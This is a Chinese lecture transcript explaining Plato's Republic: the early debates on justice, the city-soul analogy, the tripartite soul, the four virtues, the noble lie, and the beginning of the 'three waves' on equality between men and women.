+在今天要讲的第一个要点里，我们谈到了柏拉图对雅典和希腊现实政治的失望，苏格拉底的死在哲学和政治上对柏拉图的巨大影响，以及柏拉图改变现实政治的几次尝试。柏拉图的实际政治经历可以说非常失败，但是并没有妨碍他在《理想国》这部书里，将他最理想的治国方略和盘托出。柏拉图的经历告诉你，一方面，理论和现实的差别总是巨大的；另一方面，你也不能仅仅用现实上的成败，用胜者王侯败者寇的简单逻辑，来评价一个哲学理论或者政治理论是不是成功。 + +下面，我们正式开始解读《理想国》这部著作，看看柏拉图怎么把政治学、伦理学、知识论、形而上学这些哲学的不同门类糅合在一个精彩的故事里。 + +柏拉图将《理想国》设置成苏格拉底的一个自述。说的是，苏格拉底跟一群朋友的彻夜长谈。他们谈话的主题是一个典型的苏格拉底式的问题：“什么是正义？”这里用苏格拉底作为谈话的主角是柏拉图惯用的一个写作技巧，并不是说他真的在记录苏格拉底的一次谈话，而更多的是在借苏格拉底之口表达自己的哲学观点。 + +柏拉图呈现了苏格拉底和不同的对话者关于这个问题的讨论，这些不同的讨论向我们表明，想要回答“正义是什么？”揭开正义的本质，需要面对很多困难。我们可以把苏格拉底面对的这些困难概括成三点：关于正义的日常理解、关于正义的现实主义理解和关于正义的契约论理解。下面我们就分别来看看这三种对正义的理解怎么给苏格拉底设置了困难，以及苏格拉底如何解决这些困难。 + +苏格拉底首先面对的是一对父子对正义相当日常化的理解。老父亲认为“**正义是说真话和归还欠下的东西**”；而他的儿子的看法略有不同，他认为正义只是“归还欠下的东西”，和说真话没关系。这个说法类似于我们说的“欠债还钱，天经地义”，这确实代表了人们对正义最通常的理解。 + +但这种观点有什么问题吗？苏格拉底并没有说欠债还钱是错的，而是指出，这种日常的理解太过简单，有很多例外。比如说你从一个朋友那里借了一把菜刀，但是当你想要归还菜刀的时候，却发现这个朋友疯了，如果这个时候你把菜刀还给他，他可能会用菜刀砍人，所以，只是简单地坚持“欠债还钱”就不是正义了。这么看来，日常说的那个最简单的正义定义就不足以概括正义的本质，因为“本质”应该是普遍性的，不能有例外的。 + +在意识到“归还欠下东西”这个定义太过粗糙之后，这个儿子又修正了自己的定义，说**正义是“帮助朋友，伤害敌人”**，这依然是对正义的一种日常化的理解。苏格拉底对于这个解释又是怎么看的呢？他指出了两点，第一，你其实并不容易判断“朋友”和“敌人”到底是谁，如果搞错了，就会把坏人当成朋友，把好人当成敌人。第二，正义作为一种德性也不应该会伤害任何人，不管是朋友还是敌人。在这里苏格拉底给出了一个论证： + +“伤害”这个行为，你可以把它理解为，让某个事物变差，也就是损害一个事物的优秀品质，或者说损害它的“德性”，比如说你伤害了一匹马，就是让马失去了它的德性，也就是让它跑不快了；那么同样的，伤害一个人，就是让这个人的德性变差；正义是一种德性；正义作为一种德性，不该造成与德性相反的结果，就像我们说冷不会让一个东西变热，热也不会让一个东西变冷；所以，这就推导出，**正义不会伤害任何人，不管这个人是朋友还是敌人。** + +到这里，这个儿子被反驳得无言以对，他从父亲那里继承来的关于正义的通常观点，都被证明是站不住脚的，至少是不充分的。但是不管说正义是“欠债还钱”，还是说正义是“帮助朋友伤害敌人”其实都很有市场，这些简单的日常观点，让人们觉得正义就是某种规则，按照规则做事并不困难。但是，苏格拉底表明，这些看似有道理的观点其实远远没有达到正义的本质，只要稍加询问，就会让人们产生怀疑，甚至会让人们对日常的道德观产生动摇，有可能导致相对主义和虚无主义。苏格拉底的下一个对话者就是把这种相对主义和虚无主义发展到了极致。 + +接下来，苏格拉底要面对的第二个对手叫特拉叙马库斯，他是一个智者，一个号称懂得各种德性，并且能够教授各种德性的职业教师。在苏格拉底和那对父子的讨论过程中，他就已经等得不耐烦了，好几次想要插话进来，但是被旁边的人按住了。 + +当第一波讨论结束，这位智者像一头狮子一样扑向苏格拉底，插入了谈话。他先是大肆批评了一通苏格拉底惯用的“装样子”，指责苏格拉底总是给人家提问题，却从来不说出自己的答案。之后信心满满地给出了自己关于正义的定义，他认为：“**正义就是强者的利益！**”这是一种赤裸裸的现实主义理解，类似于我们说的“强权即公理”（might is right）。 + +相比之前那种对正义的日常理解，这种现实主义显然威胁更大，因为它相当于是在教育人们，没有任何关于正义的客观标准，只要你力量够大，只要你能够有办法变成统治者、发号施令，你说的一切就都可以用“正义”这个冠冕堂皇的名字包装起来。而弱者，或者被统治者，只能遵守强者颁布的“正义”，如果是这样，正义必然是对被统治者利益的伤害，做正义的事情是对自己有害的。 + +对于这种观点，苏格拉底当然不能不认同，他和这个狮子一样的智者展开了非常耐心的周旋和辩论，最终拖垮了这位智者，让他退出了讨论。我这里不能给你再现整个过程，只谈他们的辩论里面最重要的两点。第一点，苏格拉底强调，任何一种技艺，严格说来，都不是为了运用技艺的这个人好，而是为了技艺作用的对象好。比如放牧的技艺，其实是为了牛羊这些牲畜好，而不是为了牧人好。统治这种技艺，严格说来，也不是为了统治者的利益，而是为了被统治者好。 + +关于这一点，苏格拉底还给出了一个证据：真正的统治者其实是不愿意进行统治的，因为统治本身是件费力不讨好的事情。**统治者愿意进行统治或者是为了金钱，或者是为了荣誉，或者是因为某种惩罚。**为了金钱和荣誉进行统治很容易理解，为了“惩罚”进行统治是什么意思呢？这个问题不仅我们不好理解，在场的那些人也丈二和尚摸不着头脑。经过苏格拉底的解释，大家才明白他说的是什么意思。在苏格拉底看来，被不如自己的人统治，忍受糟糕的政治秩序，就是对那些不去统治的人的一种惩罚，当然这里指的是本来可以成为很好的统治者的人。所以，统治是为了被统治者好，并不是为了统治者的利益。这么看来，说“正义是强者的利益”就不对了。 + +苏格拉底反驳这个智者的另一个要点，是要证明，做正义的事情并不是伤害自己，而是对自己有好处的，正义的人比不义的人生活得更幸福。他给出了这样一个论证： + +一个事物的功能，指的是只能由它完成或者最好由它完成的东西，比如刀的功能就是切东西，眼睛的功能就是看东西；一个事物要很好地履行功能就需要相应的“德性”，而与它相反的“恶性”会让它无法履行功能，比如锋利就是刀的德性，5.2的视力就是眼睛的德性，相反的性质就是刀或者眼睛的恶性，比如刀很钝、比如眼睛高度近视；同理，人也有功能，人的功能主要体现在灵魂的功能上；灵魂的功能包括关心事物、统治、思虑等等，但是灵魂最重要的是让人活着；所以灵魂需要德性履行这些功能，而恶性让灵魂无法履行这些功能；因为正义是灵魂的德性，不义是灵魂的恶性；因此正义的人活得更好，更幸福，不义的人就活得很不幸。 + +这样，苏格拉底就反驳了这个智者关于遵守正义就是伤害自己的观点。上面说到的这两个论证，一个表明正义并不是强者的利益，而是为了被统治者，也就是弱者好；另一个表明了正义并不是弱者不得不遵守的规则，伤害了自己的利益，恰恰相反，正义是为对自己有好处的。 + +我们在这里只是挑选了苏格拉底一系列反驳里面最有趣、也最有力的两点做了一些解读。在《理想国》里面，苏格拉底那真是费了九牛二虎的力气，甚至是借用了一些不那么公平的规则，才制服了特拉叙马库斯这头狮子，让他不再坚持那种极度现实主义的观点。但是苏格拉底是不是真的从理论上驳倒了这种看法，连苏格拉底自己都不确定，因为他们到这里为止，其实还没有找到“正义”的本质是什么。 + +在好容易制服了那个智者之后，苏格拉底本来以为可以松口气了，但是柏拉图的两个哥哥，格劳孔和阿德曼图斯，又开始向苏格拉底发难。他们觉得特拉叙马库斯不应该那么早就放弃，想要用自己的方式让他的观点复活。他们同意前者的观点，也认为正义不是人们愿意主动接受的，但是他们不同意正义是强者的利益，而是认为正义是为了保护弱者而生的，在某种意义上**正义代表了“弱者的利益”，或者是“强者与弱者之间的妥协”**。 + +柏拉图的二哥格劳孔提出了一种**契约主义的正义理论**，甚至可以说是现代契约论的最早萌芽。根据格劳孔的理论，对人来讲，最好的情况是可以恣意妄为，做了坏事或者不义的事情还不用遭受惩罚，这可以说是“最强者”的境遇；最坏的情况是被别人伤害，遭受了不义，还只能忍气吞声，没有办法报复和伸冤，这可以说是“最弱者”的境遇；而在这两者中间的情况就是，大家都遵守一套规则，都按照正义的规则行事，如果违反规则就要遭到惩罚。为了避免最糟糕的情况，弱者就联合起来和强者结成了“契约”，要求按照正义的规则办事，对强者施加某些约束，对弱者提供某种保护。在这两兄弟看来，这就是正义的起源。 + +这个关于正义的“契约”理论说明，人性本恶，每个人都有想要多吃多占、想要做坏事的欲望，只是因为不想受到惩罚，才按照正义的规则办事。格劳孔还讲了一个传说中的故事来加强这一点。很久以前，有一个牧羊人在放羊的时候，天崩地裂，他下到大地的裂缝里面，看到了一个戒指，随后他发现只要转动戒指，他就能隐身。于是本来很老实的牧羊人，用这个戒指的魔力，为非作歹，勾引王后，杀死国王，摇身一变，成了统治者。在格劳孔看来，这个故事对于所有人都适用，不管什么人，不管他看起来多么善良、多么正义，只要他能够拥有这样一只隐身戒指，只要能够做了坏事不受惩罚，那么他一定会用的！ + +俗话说“打仗亲兄弟”，柏拉图的大哥阿德曼图斯也在旁边帮忙，继续火上浇油。他说从古到今，人们确实都在赞美正义，批评不义，但是所有人给出的理由都是功利的计算。不管是父亲教育孩子，还是老师教育学生，都是说正义对你有好处，可以得到神的嘉奖、可以拥有更多朋友、可以让你在生意上得到更多伙伴；而不义会给你带来各种来自神和人的惩罚。但是，在他看来，要得到这些好处，避免这些惩罚，只要有正义的名声就够了，根本不需要费力去追求“正义之实”，做一个真正正义的人。 + +如果苏格拉底想要赞美正义，想要证明正义确实在各个方面都好于不义，那就要把这些外在的奖励和惩罚都统统去掉，证明正义从本质上就是好的，即便正义的人被所有人冤枉，当做不义之人，一生受尽侮辱，他也依然比那些拥有正义的名声，享受着这个名声给他们带来的各种好处的不义之人更加幸福。这就是《理想国》里面，苏格拉底要面对的来自柏拉图的两个哥哥的终极挑战。**如果想要证明正义是件好事，他就需要反驳这兄弟俩提出的，人性本恶的基本预设；需要证明，即便没有任何外在的奖赏和惩罚，正义依然比不义要好。** + +听完这兄弟俩的长篇大论，苏格拉底不得不承认自己遇到了前所未有的巨大挑战。一方面他不知道该怎么为正义辩护，因为他觉得自己能说的都已经在和特拉叙马库斯辩论的时候说了，但是这两兄弟却没有被说服，而且还拿出了更强大的论证来反驳自己。但是另一方面，恰恰是因为这个挑战如此严肃，对正义的威胁如此巨大，他又觉得自己一定要说些什么，一定要更加努力地为正义进行辩护，否则就是不虔诚的。那么苏格拉底是如何为正义进行辩护的呢？苏格拉底最终选择了一条“曲线救国”的道路，就是引入灵魂与城邦的类比，用城邦中的正义来说明灵魂中的正义，我们下一部分接着说。 + +# 第二部分 + +你好，欢迎回来。我们接着为你解读柏拉图的《理想国》，在第二部分，我将为你解读，柏拉图如何利用城邦与灵魂的类比，来解决关于正义本质的难题。 + +在第一部分音频里面，我们讲了《理想国》的创作背景，以及柏拉图的政治实践与这部作品的关系；之后，我们解读了《理想国》开篇的部分，讨论了苏格拉底要解决“正义”的本质问题，需要面对的**三个挑战，第一个是习俗中对正义的理解：“正义就是归还欠下的东西”或者“帮助朋友，伤害敌人”；第二个是现实主义的正义理解：“正义就是强者的利益”；第三个是契约论对正义的理解：“正义是强者与弱者之间的妥协”。** + +柏拉图的两个哥哥，格劳孔和阿德曼图斯提出的这最后一个挑战，让苏格拉底觉得非常难办，一方面他感到自己已经使出了浑身解数，去反驳特拉叙马库斯的现实主义，现在已经没有什么更好的办法再为正义辩护了；另一方面，他又觉得这个挑战非常强，也非常重要，他有责任、有义务更努力地为正义辩护。于是他想出了一条“曲线救国”的道路，设计出了灵魂与城邦的类比这样一条思路，来揭示正义的本质，同时回应这两兄弟的挑战。 + +其实《理想国》进行到格劳孔和阿德曼图斯提出挑战的这个地方，几乎还没有和“城邦”或者“国家”发生关系呢。之前的那些讨论都是在讨论正义的本质是什么？正义对人来讲是不是有好处？这部作品能够叫“理想国”，能演变成一部政治性的作品，成为西方政治思想史上的经典，完全是因为在这里，柏拉图让他笔下的苏格拉底，用一种非常戏剧化的方式，把城邦带进了讨论。 + +苏格拉底说：现在面对这么强大的挑战，我已经晕了，已经看不清正义到底是什么了，这就好像是让我从远处看一排小字，我真看不见。但是假如在这个时候，我们发现同样的字还写在一个更大的地方，而且字号也更大，那我们岂不是就有了一条捷径了吗？我们可以先去看更大的字，认清楚这些字之后，再去和那些更小的字做一下对比，看看是不是确实一样就行了。 + +**苏格拉底这里说的“同样的字”就是“正义”，更大的地方就是城邦，更小的地方就是人的灵魂。**因为我们会用“正义”这个词来形容一个城邦，比如说雅典是一个正义的城邦。也会用“正义”来形容一个人，比如说苏格拉底是一个正义的人。我们现在在寻找个人的正义时遇到了困难，如果可以首先在城邦里面找到正义，再回过头去找个人灵魂里面的正义，或许就会容易得多。这就是苏格拉底想到的“曲线救国”的策略。从这里开始，讨论就被引向了城邦。 + +**今天的这一部分音频，我们就沿着苏格拉底的思路，首先来看看他如何讨论城邦的出现和发展，以及理想城邦的基本结构；第二，他如何确定理想城邦中的四种主要德性，也就是智慧、勇敢、节制和正义；第三，苏格拉底如何证明灵魂与城邦的结构相同，又如何界定灵魂中的四种德性。** + +我们先看看：城邦的出现和演化。苏格拉底一竿子戳到底，从城邦或者人类共同体的起源开始讲起。首先，他悄悄修正了智者特拉叙马库斯、格劳孔和阿德曼图斯兄弟俩关于人性的基本预设。这些人都认为人本性上就是坏的，总是想要多吃多占，想要支配和控制别人。而在苏格拉底看来，城邦的起源在于，任何人类个体都没有办法实现自足，而是相互需要，因此他们首先需要合作，正是这种合作的需要，让人类产生了最早的政治共同体。人们不同方面的需要很自然地就产生了分工，因为这样每个人的工作效率都会提高，通过交换，就能更好地满足所有人的需要。 + +顺便说一句，在亚当·斯密写作《国富论》的时候，他的思路其实和柏拉图在《理想国》里面的思路很像，他并不是片面强调人利己自私的一面，而是同时强调了不同人之间寻求合作的一面，他也是从社会分工开始构建他的整个经济学大厦的。 + +让我们回到苏格拉底关于城邦起源的讨论。他说，这种最初的人类城邦，基本上只要有提供食物的农民、提供住处的建筑师、提供衣服鞋子的纺织工和鞋匠、提供工具的木匠和铜匠、提供牲畜的牧人、负责沟通有无的商人，再加上一个看病的医生也就差不多了。他们每个人只专注于自己的手艺，做到“一人一事”，也就是尽可能达到专业化，从而提高效率和质量。 + +苏格拉底说这是一个“健康的城邦”，因为这个城邦以人们最基本的自然需要为最高目的，没有任何过多的要求。但是格劳孔却说这是一个**“猪的城邦”**，因为这个城邦里几乎没有任何属于人的文化、艺术，也没有任何奢侈品，只有最基本的“生存”，根本谈不上人的“生活”。 + +他要求苏格拉底扩大这个城邦，增加更多家具、美食、香料、绘画雕塑、金银珠宝，等等。苏格拉底说这样会发展出一个**“发烧的城邦”**，就是说这个城邦已经超出了人们的自然需求，就像发烧的病人超出了身体正常的温度。但是这个城邦的产生又是人类欲求和需要扩大之后必然的结果，人类的欲求总是很难满足的，所谓欲壑难填。一旦城邦的需要越来越大，原来的土地也就肯定不够了，于是城邦之间的战争也就不可避免了，人类无止境的欲望和资源的相对稀缺就是战争的根源。 + +还是根据那个“一人一事”的专业化原则，这个“发烧的城邦”就需要有一支职业军队，这些职业军人要具备像狗一样的性情和素质。狗见到主人就会很温顺，而见到陌生人就会狂吠，这些城邦的护卫者也需要对自己人友善温和，对敌人凶猛暴烈。我们在下一期音频里还会遇到更多跟狗有关的类比。要培养出这样一支军队，承担起保卫城邦的职责，一方面要选择拥有合适天赋的人，另一方面也需要恰当的教育。对护卫者的教育，要涉及文艺和体育两个方面，文艺教育主要是诗歌和音乐，主要培养护卫者对自己人的友善温和；而以战争为导向的体育教育，主要是训练护卫者对敌人的凶猛暴烈。 + +在讨论护卫者教育的这个部分里面，《理想国》说得最多的就是所谓的“审查制度”。苏格拉底不仅要求对教育的内容有严格的审查，比如不能讲诸神之间的争吵，不能讲天神对人类莫名其妙的惩罚，不能讲英雄人物面对朋友或战友的死亡悲伤痛哭，也不能讲冥府里面有多么阴森恐怕。 + +这些对教育内容的审查，目的就是要让年轻的护卫者从小就相信，神都是善良的，不会作恶，他们只会惩恶扬善，为城邦和朋友而死并不可怕，勇敢是非常重要的德性。总之就是要让护卫者从小树立正确的世界观和人生观。苏格拉底还对教育的形式也做出了严格的规定，比如不能用悲剧或者喜剧这种容易激发人们情绪的方式来进行教育，某些被当做靡靡之音的音乐调式和乐器也要被排除在外，要训练护卫者尽可能理性地看待所有的事情，控制自己的情感。城邦的统治者就是从接受了这一套教育的护卫者里面，再挑选出最优秀的那些。 + +这些对教育内容和形式的审查，自然成为很多人批判的焦点，因为它违背了现代人崇尚的“言论自由”，甚至和雅典民主制下的自由氛围都显得有些格格不入。但是我们需要注意，“思想自由”和“言论自由”确实不是柏拉图关注的主要价值，他更关注的是要让城邦实现最好的秩序，城邦中的公民实现最好的生活。 + +比“审查制度”更让现代人不爽的是那个著名的“高贵的谎言”，其实更准确的说法是“关于高贵的谎言”。苏格拉底在这里借用并且改编了希腊史诗作家赫西俄德《劳作与时日》里面的一个著名的神话。赫西俄德说，人类在历史上经历了金色时代、白银时代、青铜时代、英雄时代、黑铁时代，他自己所处的那个时代就是最糟糕的黑铁时代，人类以前的辉煌早就已经成为历史了。 + +苏格拉底对这个神话做了改编，不是说人类经历了不同的时代，而是把这些不同时代的特征放到了同一个城邦中的人们身上。他说在不同人的灵魂里面混有不同的金属，有些人的灵魂里面有金子，是最高贵的，应该成为城邦的统治者；另一些人的灵魂里面有银子，他们应该成为保护城邦的战士；还有一些人的灵魂里面只有青铜和黑铁，他们是城邦里面的农民和手工业者。 + +这个三个等级应该保持着截然的界限，如果出现了混乱，让不该成为统治者的人变成了统治者，让本来应该成为士兵的人当了农民，这个城邦就要面临兵戎相见、分崩离析的危险。 + +在《理想国》里面，苏格拉底很明确地承认，这个关于灵魂里混上不同金属的故事就是一个“谎言”，目的就是让城邦中的人接受各自在城邦中的位置。他还说，就算人们不可能马上相信它，也可以通过一代一代的教育，逐渐渗透到城邦中每一个人的心中，让他们慢慢接受下来；就算是城邦的最高统治者知道这是个谎言，至少要让城邦中的其他人相信它就是真的。 + +但是，从另一个角度说，这个谎言也有某种事实基础，那就是每个人的禀赋确实是不一样的，适合做的事情也不一样，一个理想的城邦就是要让每个人做最适合他的工作，保证“一人一事”的专业化原则。用金属的谎言给城邦里的人“洗脑”，并不是给他们灌输什么太过违背事实的思想，而只是为了让他们更加安于现状，没有超出自己能力和适合做的事情的非分之想，背后的初衷其实还是为了每个人自己好。 + +你可能会提出质疑，这样的一种每个人应该干什么都被统治者事先规定好了的政治制度，真的是“美丽”的吗？这种思路很类似家长的逻辑，孩子小，不懂事，所以要由爹妈告诉他们应该做什么，做什么才是对他们自己好的。这和现代思想里面，每个人都是自己的主人，每个人都能很好地判断和自己有关的事情，这样的基本假设非常不一样。 + +到这里，苏格拉底就构建起了一个他心目中的理想城邦，可以说把那个“发烧的城邦”改造成了一个“理性的城邦”。现在，我们来简单总结一下苏格拉底绕的这个“大圈子”。苏格拉底说，灵魂的正义太难找，我们从城邦的正义开始说起，而要找到城邦的正义，就需要先了解城邦的本质和结构，尤其是最好的、理想的城邦的结构。于是他就从人类政治共同体的起源讲起，讲到了人不能完全实现自足，彼此需要的特点，以及分工能够提高效率、满足更多需要的基本原则。 + +在这两点的基础上，苏格拉底构建起了一个“健康的城邦”。但是因为这个城邦只满足了人们最基本的生活需要，格劳孔说它是“猪的城邦”，并且开始扩大城邦的需求，把它变成了一个“发烧的城邦”。苏格拉底又在格劳孔这个“发烧的城邦”的基础上进行改造，通过在城邦里面划分出三个等级，给其中最重要的护卫者等级提供恰当的教育，并且通过“高贵的谎言”让三个等级各安其位。这样就构成了一个稳定的理想城邦，苏格拉底把这个城邦称为“**最美的城邦**”或者叫做“美丽城”。 + +苏格拉底的下一步就是要在这个理想城邦里找到四种主要的德性，也就是智慧、勇敢、节制和正义，尤其是要确定正义的位置。 + +到这里，参加这场讨论的人们都同意，苏格拉底构建起来的这个“美丽城”就是最好的城邦，那么这个城邦里也就应该有各种德性，也就是各种好的品质。**在苏格拉底看来，最重要的四种德性就是智慧、勇敢、节制和正义。**这四种德性也被称为“四主德”，并且延续到古罗马和中世纪。我们在之前讲《会饮》的第一期音频里面，也讲到过这四种主要的德性。 + +他们接下来的任务就是在城邦里确定这四种德性应该怎么界定，体现在哪里。有了之前的铺垫，这项工作看起来并不困难。城邦里的智慧就是统治者的知识和技巧，对政治事务的良好判断，这是特别属于统治者的一种德性。城邦里的勇敢特别属于护卫者，就是护卫者按照统治者的要求，认识到什么可怕，什么不可怕，什么应该害怕，什么不应该害怕，并且坚持这些认识。城邦里的节制属于整个城邦，是一种和谐和秩序，就是整个城邦都安于现在这种最好的安排，尤其是生产者和护卫者都心悦诚服地接受统治者下达的各种命令，接受统治者的统治，杜绝任何过分和僭越的欲望。 + +在这部分的最后，他们才用一种非常戏剧性的方式找到了城邦里的正义。说它“戏剧性”是因为苏格拉底说，自己带着这些朋友四处寻找正义，就好像在丛林里狩猎一样，但是最后，他们发现，真是踏破铁鞋无觅处，得来全不费工夫，他们甚至是在骑驴找驴。**因为他们要找的正义就是他们建立最早的那个“健康的城邦”的基础，也就是“一人一事”的那个基本原则！城邦里的正义是什么呢？就是城邦里的各个等级，在统治者的主导之下，各居其位、各司其职，每个人都做他最适合做的事情。** + +在找到了城邦中的四种主要德性，看清了城邦正义的“大字”之后，苏格拉底和他的朋友们开始转向灵魂，试图阅读灵魂中的小字。他们需要首先确定的，当然是灵魂和城邦是不是有着相同的结构，是不是可以在同样的意义上把“正义”这个词用在城邦和灵魂上。在这个地方，柏拉借苏格拉底之口，提出了“灵魂三分学说”。我们在解读《斐多》的时候已经看到，想要理解灵魂，把握灵魂的本质，是哲学最困难的主题之一，因为灵魂这个东西看不见、摸不着，不可能像做科学实验一样进行观察；它又和我们每个人的生存密切相关，很难客观地进行考察和描述。因此只能靠纯粹逻辑推理来把握它。在《斐多》里，柏拉图用了很多种方式尝试证明灵魂是不朽的，而在《理想国》里面，他想要揭示灵魂更深层的结构。 + +苏格拉底用了一个很巧妙的方法来确定灵魂由哪几个部分组成，他提出了一个基本原则：同一个东西不可能同时、在同样的方面、相对于同样的东西做相反的事情，如果出现同时、在同样的方面、相对于同样的东西做相反的事情，那么它一定不是一个单一的东西，而是一个复合体。 + +这么说可能太抽象了，我们用柏拉图自己的例子来解释一下。假设我们面前有一个转得很稳的陀螺，它就站在原地旋转，我们确实可以说它既动又不动，因为它相对于地面是静止的，但是相对于旁边的空气是运动的；从它的轴心来看可能是静止的，但是从它的边缘来看就是运动的。我们不能说陀螺的边缘同时、在同样的方面、相对于同样的东西既动又不动，也不可能说陀螺的轴心同时、在同样的方面、相对于同样的东西既动又不动，这样我们就必然只能说，陀螺是由轴心和边缘这些不同的部分组成的，它是一个复合体。 + +根据这个基本原理，如果我们来看灵魂，就可以看到灵魂也不是铁板一块，而是一个复合体，由不同的部分组成。比如说你的烟瘾犯了，想要抽烟；但是另一方面，你意识到自己现在在飞机上，不能抽烟；但是你想抽烟的想法可能又很强烈，于是你在不能抽烟的决定之外，又会产生对于想要抽烟的这种想法的愤怒，你可能会跟自己说：“我怎么那么没出息？就不能忍忍吗？！”这个时候，这种情绪性的反应是在帮助不能抽烟的决定。但是可能还有一些时候，这种情绪性的反应会帮助想要抽烟的想法，让灵魂里面阻止抽烟的想法滚到一边去。这个抽烟的例子当然不是柏拉图的，柏拉图的例子比这个要复杂一些，但是这个例子可以很好地说明柏拉图根据上面提到的那个原则推论出的灵魂的三个部分。 + +在这个例子里面，想要抽烟的就是你的**“欲望”**；认识到周围环境，告诉我不能抽烟的是你的**“理性”**；而那个带有情绪性的，多数时候帮助理性压制欲望，有时候也会帮助欲望驱赶理智的部分被柏拉图称为**“意气”**。 + +柏拉图在另一部作品里面，用更形象的方式描绘了灵魂的这三个部分。他把整个**灵魂比作一个马车夫**驾驶着一辆由两匹马拉着的马车，两匹马一匹是黑色的，很野性，总是会试图把马车拉偏；另一匹马是白色的，多数时候比较顺良，听车夫的话，但有时候也会被黑马带偏了。你可能已经明白，这里的车夫就是灵魂中的理性，**黑马就是欲望，而白马就是意气**。 + +**在苏格拉底看来，灵魂的这三个部分正好对应着城邦里的三个等级。理性对应着城邦中的统治者；意气对应着城邦中的护卫者；欲望对应着城邦中的生产者。在建立了这个对应关系之后，你就可以理解灵魂中的四种主要德性了。灵魂中的智慧就是理性的力量，它可以审时度势地进行分析，给出正确的指令；灵魂中的勇敢主要是意气部分的德性，它服从理性的指令，让拥有勇敢德性的人可以坚守阵地、奋勇杀敌；灵魂中的节制就是和谐与秩序，主要体现在意气和欲望服从理性的统领，不会对食色性这些东西产生过分的欲望；而灵魂中的正义就是理性、意气和欲望这三个部分在理性的统领之下各司其职、各安其位。** + +到这里，苏格拉底基本上已经实现了自己的“曲线救国”，通过引入灵魂与城邦的类比，他确定了城邦里面的三个等级和四种主要德性，之后又通过区分灵魂的三个部分，证明了灵魂与城邦有着相同的结构，从而找到了灵魂里面的四种主要德性。 + +经过这样一番讨论，回应格劳孔和阿德曼图斯的挑战也就不是很困难了。因为到现在，他们俩都同意，城邦必须要用正义的方式来管理，才能是有序的、强大的，能够对内保证秩序，对外保障安全；而与城邦相对应，灵魂也只有用正义的方式组织，才能是有序的和强大的。这就像是人的身体，只有水火土气各种元素各司其职、各居其位，身体才能达到和谐、健康。如果身体被各种病痛折磨，或者腐败不堪，纵使你有全世界的金银财宝、各种山珍海味，也都无福消受了。灵魂和身体一样，也必须要依据正义的德性实现和谐、有序，只有这样才能说灵魂是健康的。 + +每个人都希望自己活着，并且活得好，而灵魂就是让我们活着的东西，因此我们就希望自己的灵魂好，那么灵魂的健康就是头等大事。这样，我们每个人就都需要正义的德性保证灵魂的有序和健康。即便我们没有得到“正义”的名声带来的任何好处，正义也依然是我们最最宝贵的财富，因为它让我们的生命之源——灵魂，处在健康的状态之中。 +到这里，苏格拉底就完成了自己的论证。 + +# 第三部分 + +你好，我们现在继续为你解读柏拉图的《理想国》第三部分。在这个部分，我将为你解读《理想国》里最核心的内容，也就是全书第五到第七卷的精髓，看看柏拉图在构建理想中的“美丽城”时提出的，关于政治和哲学的最具革命性的三个学说，也就是书中所谓的**三个浪潮**。 + +在上部分的音频里，我们讲了苏格拉底为了回应格劳孔和阿德曼图斯对正义的严峻挑战，绕了一个大圈子，用灵魂与城邦的类比，确定了城邦和灵魂都由三个部分组成，具有类似的结构，用这种方式找到了城邦和灵魂各自的德性。就“正义”而言，城邦的正义就是三个等级——统治者、护卫者和生产者，在统治者的统领下各司其职、各居其位；而灵魂中的正义就是灵魂中的三个部分——理性、意气和欲望，在理性的统领下各司其职、各居其位。因为城邦和灵魂都要符合“正义”的要求，才能算是好的和健康的，而所有的人和城邦肯定都希望如此，因此即便“正义”不会带来任何金钱、荣誉之类的外在结果和好处，个人和城邦也都应该追求正义。 + +到这里，在场的谈话者好像都被说服了，他们也都找到了城邦和灵魂之中正义的本质。但是这个时候，谈话者中间发生了一些骚动，阿德曼图斯代表大家要求苏格拉底更详细地说明，那个理想城邦里的组织安排，尤其是关于妇女和孩子的安排，以及护卫者的生活方式。这个要求又让苏格拉底陷入了巨大的麻烦，他说自己本来想轻描淡写地把这些话题带过去。因为这些问题会给他招来比之前更大的批评，而且想要把它们都说清楚，就需要绕一个更大的圈子，走一条更长更艰难的道路，但是他的那些对话伙伴，都要求苏格拉底不要担心，继续带领他们走完这条道路。由此，拉开了《理想国》最核心部分的序幕。 + +在这个部分，柏拉图借苏格拉底之口提出了最极端的政治和哲学主张。他把这些政治和哲学主张称为“三个浪潮”，意思是类似海啸一样的浪潮，因为这些主张非常具有革命性和颠覆性，会给提出它们的人带来很大的危险，把他淹没在人们的口诛笔伐之中。**这三个浪潮分别是：第一，在“美丽城”里面要实行男女平等；第二，要在护卫者阶层取消私有制，实现“共产共妻共子”；第三，要让哲学家成为这个城邦中的统治者或者国王。**下面我们就分别来看看这三个浪潮的含义。 + +第一个浪潮，关乎女性在城邦里的地位。苏格拉底在这里提出了男女平等的观念。《理想国》可以说是西方最早的系统讨论男女平等的著作，这也是当代的女性主义者非常喜欢《理想国》的重要原因，它被誉为女性主义运动的先声。 + +古代希腊和古代中国一样，也是严重的男尊女卑，女性的角色都被锁定在家庭里面，不允许以任何形式参与政治，因此在当时提出男女平等是非常惊人的主张。那么柏拉图怎么能够论证并且让人信服这个主张呢？如果听过我们解读《理想国》的上一期音频，你或许还记得，苏格拉底把城邦的护卫者比作狗，他们对自己人忠诚友善，而对敌人非常凶猛、毫不留情。苏格拉底在讲男女平等的时候再一次运用了狗的比喻，用这个来论证男女平等其实是有自然基础的。 + +公狗和母狗总是一起狩猎、一起看家、一起保护小狗等等，在狗的世界里，虽然也有雌雄之间的基本分工，就是只有雌性能生小狗，但是这个分工并没有影响它们在其他方面的平等地位。它们会做同样的事情，尤其是在跟共同利益相关的方面做同样的事情。对人来讲，也应该如此。虽然女性需要承担更多的生养孩子的责任，而且在体力方面更弱，但是这并不会影响女性可以和男性一样，承担起军事和政治责任，可以和男人一样成为城邦的护卫者，甚至统治者。 + +苏格拉底说到这里时，在场有人提出反对，说如果让男女平等地参与战争，就意味着我们要让女性和男性一起进行军事训练，军事训练都是赤身露体进行的，如果让一大群男女赤身露体地一起进行训练，岂不是有伤风化吗？苏格拉底的回答很简单，什么东西有伤风化，什么东西对、什么东西错，其实只有一个最终的标准，那就是“好”还是“不好”。“好”是我们评判一切的终极标准。一项政策，不管最初看起来多么奇怪，只要在实践中能够带来好的结果，能够帮助城邦实现国泰民安，那么人们就会慢慢地接受它，把它当成一种常态，而不是有伤风化。 + 